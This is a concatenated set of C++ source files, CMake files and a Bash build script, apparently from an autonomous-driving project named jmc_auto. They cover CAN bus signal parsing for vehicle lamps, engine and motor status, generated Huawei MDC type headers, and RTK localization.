21, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_doorlockfeedbackType bcm_doorlockfeedback(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BCM_HornStatus', 'enum': {0: 'BCM_HORNSTATUS_INVALID', 1: 'BCM_HORNSTATUS_OFF', 2: 'BCM_HORNSTATUS_ON', 3: 'BCM_HORNSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_hornstatusType bcm_hornstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BCM_HighBeamLampStatus', 'enum': {0: 'BCM_HIGHBEAMLAMPSTATUS_INVALID', 1: 'BCM_HIGHBEAMLAMPSTATUS_OFF', 2: 'BCM_HIGHBEAMLAMPSTATUS_ON', 3: 'BCM_HIGHBEAMLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_highbeamlampstatusType bcm_highbeamlampstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BCM_LowBeamLampStatus', 'enum': {0: 'BCM_LOWBEAMLAMPSTATUS_INVALID', 1: 'BCM_LOWBEAMLAMPSTATUS_OFF', 2: 'BCM_LOWBEAMLAMPSTATUS_ON', 3: 'BCM_LOWBEAMLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 13, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_lowbeamlampstatusType bcm_lowbeamlampstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BCM_PositionLampStatus', 'enum': {0: 'BCM_POSITIONLAMPSTATUS_INVALID', 1: 'BCM_POSITIONLAMPSTATUS_OFF', 2: 'BCM_POSITIONLAMPSTATUS_ON', 3: 'BCM_POSITIONLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_positionlampstatusType bcm_positionlampstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BCM_HazardLampStatus', 'enum': {0: 'BCM_HAZARDLAMPSTATUS_INVALID', 1: 'BCM_HAZARDLAMPSTATUS_OFF', 2: 'BCM_HAZARDLAMPSTATUS_BLINK', 3: 'BCM_HAZARDLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 3, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_hazardlampstatusType bcm_hazardlampstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BCM_RightTurnLampStatus', 'enum': {0: 'BCM_RIGHTTURNLAMPSTATUS_INVALID', 1: 'BCM_RIGHTTURNLAMPSTATUS_OFF', 2: 'BCM_RIGHTTURNLAMPSTATUS_BLINK', 3: 'BCM_RIGHTTURNLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_rightturnlampstatusType bcm_rightturnlampstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'BCM_LeftTurnLampStatus', 'enum': {0: 'BCM_LEFTTURNLAMPSTATUS_INVALID', 1: 'BCM_LEFTTURNLAMPSTATUS_OFF', 2: 'BCM_LEFTTURNLAMPSTATUS_BLINK', 3: 'BCM_LEFTTURNLAMPSTATUS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Bcm_bodysts_0x344_344::Bcm_leftturnlampstatusType bcm_leftturnlampstatus(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace teshun } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_TESHUN_PROTOCOL_BCM_BODYSTS_0X344_344_H_ <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(curve_math curve_math.cc curve_math.h) add_library(discrete_points_math discrete_points_math.cc discrete_points_math.h) target_link_libraries(discrete_points_math log) add_library(polynomial_xd polynomial_xd.cc polynomial_xd.h) target_link_libraries(polynomial_xd log) <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(open_space_trajectory_partition open_space_trajectory_partition.cc open_space_trajectory_partition.h) target_link_libraries(open_space_trajectory_partition /modules/common/status planning_config_proto /modules/planning/tasks:task /modules/planning/tasks/optimizers:trajectory_optimizer /modules/common/time:time com_google_absl//absl/strings) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_compresstype_h #define impl_type_compresstype_h #include "impl_type_uint8.h" enum class CompressType : UInt8 { OK = 0, CONTROL_ERROR = 1000, CONTROL_INIT_ERROR = 1001, CONTROL_COMPUTE_ERROR = 1002, CANBUS_ERROR = 2000, CAN_CLIENT_ERROR_BASE = 2100, CAN_CLIENT_ERROR_OPEN_DEVICE_FAILED = 2101, CAN_CLIENT_ERROR_FRAME_NUM = 2102, CAN_CLIENT_ERROR_SEND_FAILED = 2103, CAN_CLIENT_ERROR_RECV_FAILED = 2104, LOCALIZATION_ERROR = 3000, LOCALIZATION_ERROR_MSG = 3100, LOCALIZATION_ERROR_LIDAR = 3200, LOCALIZATION_ERROR_INTEG = 3300, LOCALIZATION_ERROR_GNSS = 3400, PERCEPTION_ERROR = 4000, PERCEPTION_ERROR_TF = 4001, PERCEPTION_ERROR_PROCESS = 4002, PERCEPTION_FATAL = 4003, PREDICTION_ERROR = 5000, PLANNING_ERROR = 6000, HDMAP_DATA_ERROR = 7000, ROUTING_ERROR = 8000, ROUTING_ERROR_REQUEST = 8001, ROUTING_ERROR_RESPONSE = 8002, ROUTING_ERROR_NOT_READY = 8003, END_OF_INPUT = 9000, HTTP_LOGIC_ERROR = 10000, HTTP_RUNTIME_ERROR = 10001, RELATIVE_MAP_ERROR = 11000, RELATIVE_MAP_NOT_READY = 11001, DRIVER_ERROR_GNSS = 12000, DRIVER_ERROR_VELODYNE = 13000 }; #endif // impl_type_compresstype_h <file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/gw_mcu_power_0x226_226.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Gwmcupower0x226226::Gwmcupower0x226226() {} const int32_t Gwmcupower0x226226::ID = 0x226; void Gwmcupower0x226226::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_gw_mcu_power_0x226_226()->set_checksum_0x226(checksum_0x226(bytes, length)); chassis->mutable_teshun()->mutable_gw_mcu_power_0x226_226()->set_rolling_counter_0x226(rolling_counter_0x226(bytes, length)); chassis->mutable_teshun()->mutable_gw_mcu_power_0x226_226()->set_mcu_serialnum_est(mcu_serialnum_est(bytes, length)); chassis->mutable_teshun()->mutable_gw_mcu_power_0x226_226()->set_mcu_tm04_trqmindyn(mcu_tm04_trqmindyn(bytes, length)); chassis->mutable_teshun()->mutable_gw_mcu_power_0x226_226()->set_mcu_tm04_trqmaxdyn(mcu_tm04_trqmaxdyn(bytes, length)); chassis->mutable_teshun()->mutable_gw_mcu_power_0x226_226()->set_mcu_maxtrq_est(mcu_maxtrq_est(bytes, length)); chassis->mutable_teshun()->mutable_gw_mcu_power_0x226_226()->set_mcu_mintrq_est(mcu_mintrq_est(bytes, length)); chassis->mutable_teshun()->mutable_gw_mcu_power_0x226_226()->set_mcu_sys_sts(mcu_sys_sts(bytes, length)); } // config detail: {'name': 'checksum_0x226', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwmcupower0x226226::checksum_0x226(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rolling_counter_0x226', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Gwmcupower0x226226::rolling_counter_0x226(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'mcu_serialnum_est', 'offset': 0.0, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'physical_range': '[0|1]', 'bit': 47, 'type': 'bool', 'order': 'motorola', 'physical_unit': ''} bool Gwmcupower0x226226::mcu_serialnum_est(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(7, 1); bool ret = x; return ret; } // config detail: {'name': 'mcu_tm04_trqmindyn', 'offset': -1023.0, 'precision': 1.0, 'len': 11, 'is_signed_var': False, 'physical_range': '[-1023|1024]', 'bit': 46, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} int Gwmcupower0x226226::mcu_tm04_trqmindyn(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 7); Byte t1(bytes + 6); int32_t t = t1.get_byte(4, 4); x <<= 4; x |= t; int ret = x + -1023.000000; return ret; } // config detail: {'name': 'mcu_tm04_trqmaxdyn', 'offset': -1023.0, 'precision': 1.0, 'len': 11, 'is_signed_var': False, 'physical_range': '[-1023|1024]', 'bit': 4, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} int Gwmcupower0x226226::mcu_tm04_trqmaxdyn(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 5); Byte t1(bytes + 1); int32_t t = t1.get_byte(2, 6); x <<= 6; x |= t; int ret = x + -1023.000000; return ret; } // config detail: {'name': 'mcu_maxtrq_est', 'offset': 0.0, 'precision': 1.0, 'len': 12, 'is_signed_var': False, 'physical_range': '[0|2000]', 'bit': 27, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} int Gwmcupower0x226226::mcu_maxtrq_est(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 4); Byte t1(bytes + 4); int32_t t = t1.get_byte(0, 8); x <<= 8; x |= t; int ret = x; return ret; } // config detail: {'name': 'mcu_mintrq_est', 'offset': -2000.0, 'precision': 1.0, 'len': 12, 'is_signed_var': False, 'physical_range': '[-2000|0]', 'bit': 23, 'type': 'int', 'order': 'motorola', 'physical_unit': 'Nm'} int Gwmcupower0x226226::mcu_mintrq_est(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 3); int32_t t = t1.get_byte(4, 4); x <<= 4; x |= t; int ret = x + -2000.000000; return ret; } // config detail: {'name': 'mcu_sys_sts', 'enum': {0: 'MCU_SYS_STS_INIT', 1: 'MCU_SYS_STS_OK', 2: 'MCU_SYS_STS_WARNING', 3: 'MCU_SYS_STS_FAULT'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mcu_power_0x226_226::Mcu_sys_stsType Gwmcupower0x226226::mcu_sys_sts(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(6, 2); Gw_mcu_power_0x226_226::Mcu_sys_stsType ret = static_cast<Gw_mcu_power_0x226_226::Mcu_sys_stsType>(x); return ret; } } // namespace teshun } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_uint64_h #define impl_type_uint64_h #include "base_type_std_uint64_t.h" typedef std_uint64_t UInt64; #endif // impl_type_uint64_h <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_recordheader_h #define impl_type_recordheader_h #include "impl_type_uint64.h" #include "impl_type_uint32.h" #include "impl_type_bool.h" #include "impl_type_compresstype.h" struct RecordHeader { ::UInt32 major_version; ::UInt32 minor_version; ::CompressType compress; ::UInt64 chunk_interval; ::UInt64 segment_interval; ::UInt64 index_position; ::UInt64 chunk_number; ::UInt64 channel_number; ::UInt64 begin_time; ::UInt64 end_time; ::UInt64 message_number; ::UInt64 size; ::Bool is_complete; ::UInt64 chunk_raw_size; ::UInt64 segment_raw_size; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(major_version); fun(minor_version); fun(compress); fun(chunk_interval); fun(segment_interval); fun(index_position); fun(chunk_number); fun(channel_number); fun(begin_time); fun(end_time); fun(message_number); fun(size); fun(is_complete); fun(chunk_raw_size); fun(segment_raw_size); } template<typename F> void enumerate(F& fun) const { fun(major_version); fun(minor_version); fun(compress); fun(chunk_interval); fun(segment_interval); fun(index_position); fun(chunk_number); fun(channel_number); fun(begin_time); fun(end_time); fun(message_number); fun(size); fun(is_complete); fun(chunk_raw_size); fun(segment_raw_size); } bool operator == (const ::RecordHeader& t) const { return (major_version == t.major_version) && (minor_version == t.minor_version) && (compress == t.compress) && (chunk_interval == t.chunk_interval) && (segment_interval == t.segment_interval) && (index_position == t.index_position) && (chunk_number == t.chunk_number) && (channel_number == t.channel_number) && (begin_time == t.begin_time) && (end_time == t.end_time) && (message_number == t.message_number) && (size == t.size) && (is_complete == t.is_complete) && (chunk_raw_size == t.chunk_raw_size) && (segment_raw_size == t.segment_raw_size); } }; #endif // impl_type_recordheader_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #include <cstdint> #ifndef base_type_std_float_h #define base_type_std_float_h typedef float std_float; #endif // base_type_std_float_h <file_sep>##################################################### # File Name: jmc_auto.sh # Author: Leo # mail: <EMAIL> # Created Time: 三 4/14 09:22:18 2021 ##################################################### #!/bin/bash #================================================= # Utils #================================================= function source_jmc_auto_base() { DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" cd "${DIR}" source "${DIR}/scripts/jmc_auto_base.sh" } function jmc_auto_check_system_config() { # check operating system #需要Ubuntu16.04并且安装了MDS,以及交叉编译环境 OP_SYSTEM=$(uname -s) case $OP_SYSTEM in "Linux") echo "System check passed. Build continue ..." # check system configuration DEFAULT_MEM_SIZE="2.0" MEM_SIZE=$(free | grep Mem | awk '{printf("%0.2f", $2 / 1024.0 / 1024.0)}') if (( $(echo "$MEM_SIZE < $DEFAULT_MEM_SIZE" | bc -l) )); then warning "System memory [${MEM_SIZE}G] is lower than minimum required memory size [2.0G]. Build could fail." fi ;; *) error "Unsupported system: ${OP_SYSTEM}." error "Please use Linux, we recommend Ubuntu 14.04." exit 1 ;; esac } function generate_build_files() { #检查apcm文件夹,并拷贝到各个模块文件夹中 if [ ! -e apcm ]; then fail 'Missing apcm folder. Please check it.' fi #check_mds 待添加 cd ${JMC_AUTO_ROOT_DIR}/ for x in $(ls -1 apcm/functional_software); do cp -r --parents apcm/common modules/${x}/ cp -r --parents apcm/functional_software/${x} modules/${x} java -jar ${MDS_HOME}/plugins/org.eclipse.equinox.launcher_1.5.600.v20191014-2022.jar \ -nosplash -application com.huawei.mdc.commands.application gen \ -i modules/${x}/apcm \ -o modules/${x}/ done } #================================================= # Build functions #================================================= function build() { #编译autosar文件 generate_build_files build_autosar if [ $? -ne 0 ]; then fail 'Build failed!' fi #编译各个模块 mkdir ${JMC_AUTO_ROOT_DIR}/build cd ${JMC_AUTO_ROOT_DIR}/build cmake -G "Unix Makefiles" -DCMAKE_BUILD_TYPE:STRING=${BUILD_CMD} \ -DCMAKE_SYSTEM_NAME=Linux \ -DCMAKE_EXPORT_COMPILE_COMMANDS:BOOL=ON \ -DCMAKE_SYSROOT=/usr/ubuntu_crossbuild_devkit/mdc_crossbuild_sysroot \ -DTOOL_CHAIN_SYSROOT=/usr/ubuntu_crossbuild_devkit/mdc_crossbuild_sysroot \ -DCMAKE_C_COMPILER:FILEPATH=/usr/bin/aarch64-linux-gnu-gcc \ -DCMAKE_CXX_COMPILER:FILEPATH=/usr/bin/aarch64-linux-gnu-g++ \ -DCMAKE_MAKE_PROGRAM:FILEPATH=/usr/bin/make \ ${JMC_AUTO_ROOT_DIR} if [ $? -ne 0 ]; then fail 'CMAKE failed!' fi make -j4 if [ $? -ne 0 ]; then fail 'Build failed!' fi if [ $? -eq 0 ]; then success 'Build passed!' fi } function jmc_auto_build_dbg() { BUILD_CMD="Debug" build $@ } function jmc_auto_build_opt() { BUILD_CMD="Release" build $@ } function build_autosar() { #编译autosar文件并添加配置 java -jar ${MDS_HOME}/plugins/org.eclipse.equinox.launcher_1.5.600.v20191014-2022.jar \ -nosplash -application com.huawei.mdc.commands.application gen \ -i ${JMC_AUTO_ROOT_DIR}/apcm \ -o ${JMC_AUTO_ROOT_DIR}/ #添加配置 #ls ${JMC_AUTO_ROOT_DIR}/generated/includes/ } function clean() { #删除build文件 if [[ -e ${JMC_AUTO_ROOT_DIR}/build ]]; then rm -rf build fi success "clean success" } function print_usage() { RED='\033[0;31m' BLUE='\033[0;34m' BOLD='\033[1m' NONE='\033[0m' echo -e "\n${RED}Usage${NONE}: .${BOLD}/jmc_auto.sh${NONE} [OPTION]" echo -e "\n${RED}Options${NONE}: " } function main() { source_jmc_auto_base check_machine_arch jmc_auto_check_system_config DEFINES="--define ARCH=${MACHINE_ARCH} --define CAN_CARD=${CAN_CARD} --cxxopt=-DUSE_ESD_CAN=${USE_ESD_CAN}" if [ ${MACHINE_ARCH} == "x86_64" ]; then DEFINES="${DEFINES} --copt=-mavx2" fi local cmd=$1 shift START_TIME=$(get_now) case $cmd in build) DEFINES="${DEFINES} --cxxopt=-DCPU_ONLY" jmc_auto_build_dbg $@ ;; help) print_usage ;; *) print_usage ;; esac } main $@ <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_subdirectory(proto) add_library(monitor_log monitor_log_buffer.cc monitor_logger.cc monitor_log_buffer.h monitor_logger.h) target_link_libraries(monitor_log jmcauto_log adapter_manager monitor_log_proto common_proto time)<file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_EMS_ENGSTATUS_0X142_142_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_EMS_ENGSTATUS_0X142_142_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Gwemsengstatus0x142142 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwemsengstatus0x142142(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'EMS_IgnitionTiming', 'enum': {60: 'EMS_IGNITIONTIMING_INVALID'}, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'offset': -60.0, 'physical_range': '[-60|60]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': '\xa1\xe3[deg]'} int ems_ignitiontiming(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_SetlEngIdleSpeed', 'enum': {8191: 'EMS_SETLENGIDLESPEED_INVALID'}, 'precision': 0.5, 'len': 13, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|4095]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': 'rpm'} double ems_setlengidlespeed(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_EngOperationStatus', 'enum': {0: 'EMS_ENGOPERATIONSTATUS_STOPPED', 1: 'EMS_ENGOPERATIONSTATUS_RUNNING', 2: 'EMS_ENGOPERATIONSTATUS_IDLE', 3: 'EMS_ENGOPERATIONSTATUS_DFCO_RESERVED', 4: 'EMS_ENGOPERATIONSTATUS_CRANKING', 5: 'EMS_ENGOPERATIONSTATUS_STALLING'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|5]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_engstatus_0x142_142::Ems_engoperationstatusType ems_engoperationstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_AirCompressorStatus', 'enum': {0: 'EMS_AIRCOMPRESSORSTATUS_OFF', 1: 'EMS_AIRCOMPRESSORSTATUS_ON'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 38, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_engstatus_0x142_142::Ems_aircompressorstatusType ems_aircompressorstatus(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_ThrottlePlatePositionError', 'enum': {0: 'EMS_THROTTLEPLATEPOSITIONERROR_NOERROR', 1: 'EMS_THROTTLEPLATEPOSITIONERROR_ERROR'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 39, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_engstatus_0x142_142::Ems_throttleplatepositionerrorType ems_throttleplatepositionerror(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_StartStopMessage', 'enum': {0: 'EMS_STARTSTOPMESSAGE_NOWARNINGMESSAGE', 1: 'EMS_STARTSTOPMESSAGE_CLIMATEREQUEST', 2: 'EMS_STARTSTOPMESSAGE_BRAKELOW', 3: 'EMS_STARTSTOPMESSAGE_START_STOPOFF', 4: 'EMS_STARTSTOPMESSAGE_BATTERYLOW', 5: 'EMS_STARTSTOPMESSAGE_ECTLOW', 6: 'EMS_STARTSTOPMESSAGE_APAINHIBIT', 7: 'EMS_STARTSTOPMESSAGE_ACCINHIBIT', 8: 'EMS_STARTSTOPMESSAGE_TCUINHIBIT', 9: 'EMS_STARTSTOPMESSAGE_STARTPROTECT', 10: 'EMS_STARTSTOPMESSAGE_HOODOPEN', 11: 'EMS_STARTSTOPMESSAGE_DRVIEDOOROPNE', 12: 'EMS_STARTSTOPMESSAGE_STEERINGANGELHIGH', 13: 'EMS_STARTSTOPMESSAGE_STARTSTOPFAILURE', 14: 'EMS_STARTSTOPMESSAGE_MANUALLYRESTART', 15: 'EMS_STARTSTOPMESSAGE_RESERVED'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 47, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_engstatus_0x142_142::Ems_startstopmessageType ems_startstopmessage(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'DCM_EMS_RollingCounter_0x142', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int dcm_ems_rollingcounter_0x142(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_IgnSwtSts', 'enum': {0: 'EMS_IGNSWTSTS_IGNITIONOFF', 1: 'EMS_IGNSWTSTS_IGNITIONON'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_ems_engstatus_0x142_142::Ems_ignswtstsType ems_ignswtsts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'DCM_EMS_Checksum_0x142', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int dcm_ems_checksum_0x142(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_EngThrottlePosition', 'enum': {255: 'EMS_ENGTHROTTLEPOSITION_INVALID'}, 'precision': 0.392, 'len': 8, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|99.568]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': '%'} double ems_engthrottleposition(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_GW_EMS_ENGSTATUS_0X142_142_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_enum_h #define impl_type_enum_h #include "base_type_std_uint8_t.h" typedef std_uint8_t Enum; #endif // impl_type_enum_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/localization/rtk/rtk_localization.h" #include "modules/common/adapters/adapter_manager.h" #include "modules/common/math/quaternion.h" #include "modules/common/time/jmcauto_time.h" #include "modules/common/time/time_util.h" #include "modules/localization/common/localization_gflags.h" namespace jmc_auto { namespace localization { using jmc_auto::common::Status; using jmc_auto::common::adapter::AdapterManager; //using jmc_auto::common::adapter::ImuAdapter; //using jmc_auto::common::monitor::MonitorMessageItem; using jmc_auto::common::time::Clock; using ::Eigen::Vector3d; // constexpr double DEG_TO_RAD_LOCAL = M_PI / 180.0; // const char *WGS84_TEXT = "+proj=latlong +ellps=WGS84"; // RTKLocalization::RTKLocalization() // : monitor_logger_(MonitorMessageItem::LOCALIZATION), // map_offset_{FLAGS_map_offset_x, FLAGS_map_offset_y, FLAGS_map_offset_z} {} RTKLocalization::RTKLocalization() {} RTKLocalization::~RTKLocalization() {} Status RTKLocalization::Start() { AdapterManager::Init(FLAGS_rtk_adapter_config_file); // start ROS timer, one-shot = false, auto-start = true const double duration = 1.0 / FLAGS_localization_publish_freq; //timer_ = AdapterManager::CreateTimer(ros::Duration(duration), // &RTKLocalization::OnTimer, this); //while (1) { // RTKLocalization::OnTimer(); // sleep(duration); //} //common::monitor::MonitorLogBuffer buffer(&monitor_logger_); if (!AdapterManager::GetChassis()) { AERROR << "chassis input not initialized. Check file " << FLAGS_rtk_adapter_config_file; return Status(common::LOCALIZATION_ERROR, "no chassis_ins adapter"); } wgs84pj_source_ = pj_init_plus(WGS84_TEXT); utm_target_ = pj_init_plus(FLAGS_proj4_text.c_str()); while (1) { RTKLocalization::OnTimer(); sleep(duration); } //tf2_broadcaster_.reset(new tf2_ros::TransformBroadcaster); return Status::OK(); } Status RTKLocalization::Stop() { //timer_.stop(); return Status::OK(); } void RTKLocalization::OnTimer() { LocalizationEstimate localization; AdapterManager::Observe(); // chassis_ = AdapterManager::GetChassis()->GetLatestObserved(); if (AdapterManager::GetChassis()->Empty()) { //AERROR << "No Chassis msg yet. "; return; } chassis_ = AdapterManager::GetChassis()->GetLatestObserved(); double time_delay = common::time::ToSecond(Clock::Now()) - last_received_timestamp_sec_; //common::monitor::MonitorLogBuffer buffer(&monitor_logger_); if (FLAGS_enable_gps_timestamp && time_delay > FLAGS_gps_time_delay_tolerance) { AERROR << "GPS message time delay: " << time_delay; } //PrepareLocalizationMsg(&localization); // publish localization messages PublishLocalization(); // service_started_ = true; // watch dog last_received_timestamp_sec_ = common::time::ToSecond(Clock::Now()); } void RTKLocalization::PublishLocalization() { LocalizationEstimate localization; 